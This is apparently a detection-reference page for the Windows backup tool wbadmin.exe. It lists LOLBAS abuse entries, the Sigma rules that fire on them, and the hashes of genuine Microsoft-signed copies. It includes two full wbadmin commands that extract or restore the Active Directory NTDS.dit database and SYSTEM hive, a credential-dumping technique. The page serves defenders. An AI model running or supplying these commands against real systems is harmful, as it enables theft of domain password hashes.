Identifier / Programs / Windows
wbadmin.exe
Enables you to back up and restore your operating system, volumes, files, folders, and applications from a command prompt. Windows commands reference
LOLBAS Dump 6 Sigma rules name it 2 ATT&CK techniques 2 documented commands 4 known copies with hashes
How wbadmin.exe is abused
Dump T1003.003 OS Credential Dumping: NTDS
recovery
-version-recoverytarget-itemtype-items-notrestoreacl-quietEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for wbadmin.exe.
2 documented commands
Dump T1003.003 OS Credential Dumping: NTDS Administrator, Backup Operators, SeBackupPrivilege privileges
Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)
wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quietTrips 2 Sigma rules: highCopying Sensitive Files with Credential Data by Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community; highSensitive File Dump Via Wbadmin.EXE by Nasreddine Bencherchali (Nextron Systems), frack113
Dump T1003.003 OS Credential Dumping: NTDS Administrator, Backup Operators, SeBackupPrivilege privileges
Restore a version of NTDS.dit and SYSTEM hive into file path. The command wbadmin get versions can be used to find version identifiers.
wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quietTrips 4 Sigma rules: highCopying Sensitive Files with Credential Data by Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community; highSensitive File Dump Via Wbadmin.EXE by Nasreddine Bencherchali (Nextron Systems), frack113; highSensitive File Recovery From Backup Via Wbadmin.EXE by Nasreddine Bencherchali (Nextron Systems), frack113; mediumFile Recovery From Backup Via Wbadmin.EXE by Nasreddine Bencherchali (Nextron Systems), frack113
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for wbadmin.exe, by Chris Eastwood, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for wbadmin.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real wbadmin.exe?
C:\Windows\system32\4 known copies
10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\wbadmin.exe · signed by Microsoft Windows
be37e10bfaedc167665ae8c448805ab1def5e299c6acd274113248f8414b069610.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\wbadmin.exe · signed by Microsoft Windows
382b033d559b33d801f77776f4d6ecb180703c14a3ce5b91277a5b589b2f8b1810.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\wbadmin.exe · signed by Microsoft Windows
508e5f70c29502d7ba66a35959a327e3d658514496ee7b9155d95e7409eb4fb810.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\wbadmin.exe · signed by Microsoft Windows
90314b939ca7d68f964d7345b0351a0c40f1d40c96645dfbf81ec146dcc80c15From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.